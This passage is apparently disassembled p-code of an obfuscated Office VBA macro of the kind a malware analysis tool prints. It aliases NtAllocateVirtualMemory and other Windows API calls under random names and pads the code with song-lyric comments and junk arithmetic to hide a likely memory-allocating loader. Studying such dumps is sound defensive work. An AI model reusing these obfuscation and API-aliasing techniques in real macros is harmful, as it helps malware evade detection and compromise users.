' 	Reparse 0x00A7 "Public Declare Function tuscan Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal nulli As Any, nauran As Any, commixion As Any, granulocytic As Any) As Long"
' Line #53:
' 	QuoteRem 0x0000 0x0026 "  Rain was driving, thunder, lightning"
' Line #54:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #55:
' 	LineCont 0x0004 00 00 C6 FF
' 	Reparse 0x00E0 "Public  Declare Function annexation Lib "Ntdll.dll " Alias   "NtAllocateVirtualMemory" (financing As Long, presciently As Long, ByVal acridotheres As Long,cowbirdByVal As Long, afford As Long, ByVal cockloft As Long) As Long"
' Line #56:
' 	QuoteRem 0x0000 0x0010 "  And walked out"
' Line #57:
' 	QuoteRem 0x0000 0x0023 "  Knew it was gonna be a long night"
' Line #58:
' 	Reparse 0x0063 "Public Declare Function re Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (anteater As Any) As Long"
' Line #59:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #60:
' 	QuoteRem 0x0000 0x001F "  Started talking bout us again"
' Line #61:
' 	Reparse 0x00B8 "Public Declare Function spirulidae Lib "Kernel32.dll" Alias "CreateEventW" (ByVal boehmenism As Long, goggleeyed As Long, welfare As Long, evangelist As Long, bleeding As Long) As Long"
' Line #62:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #63:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #64:
' Line #65:
' 	QuoteRem 0x0000 0x002A "  The moon went hiding, stars quit shining"
' Line #66:
' 	QuoteRem 0x0000 0x002A "  You wrecked my whole world when you came"
' Line #67:
' 	LbMark 
' 	LbEndIf 
' Line #68:
' 	QuoteRem 0x0000 0x001F "  Started talking bout us again"
' Line #69:
' 	QuoteRem 0x0000 0x0026 "  If I woulda just layed my drink down"
' Line #70:
' 	FuncDefn (Function claytonia(hypentelium))
' Line #71:
' 	Ld skunkweed 
' 	SelectCase 
' Line #72:
' 	LitDI2 0x0033 
' 	LitDI2 0x000A 
' 	LitDI2 0x0002 
' 	Div 
' 	LitDI2 0x0005 
' 	Sub 
' 	Paren 
' 	Add 
' 	Case 
' 	CaseDone 
' Line #73:
' 	Ld hypentelium 
' 	Ld gh 
' 	IDiv 
' 	St claytonia 
' Line #74:
' 	LitDI2 0x003D 
' 	LitDI2 0x0005 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Div 
' 	Add 
' 	LitDI2 0x0001 
' 	Sub 
' 	Case 
' 	CaseDone 
' Line #75:
' 	Ld hypentelium 
' 	Ld gh 
' 	And 
' 	St claytonia 
' Line #76:
' 	LitDI2 0x0045 
' 	LitDI2 0x0038 
' 	LitDI2 0x0007 
' 	Div 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Add 
' 	Case 
' 	CaseDone 
' Line #77:
' 	Ld hypentelium 
' 	Ld gh 
' 	Mul 
' 	St claytonia 
' Line #78:
' 	EndSelect 
' Line #79:
…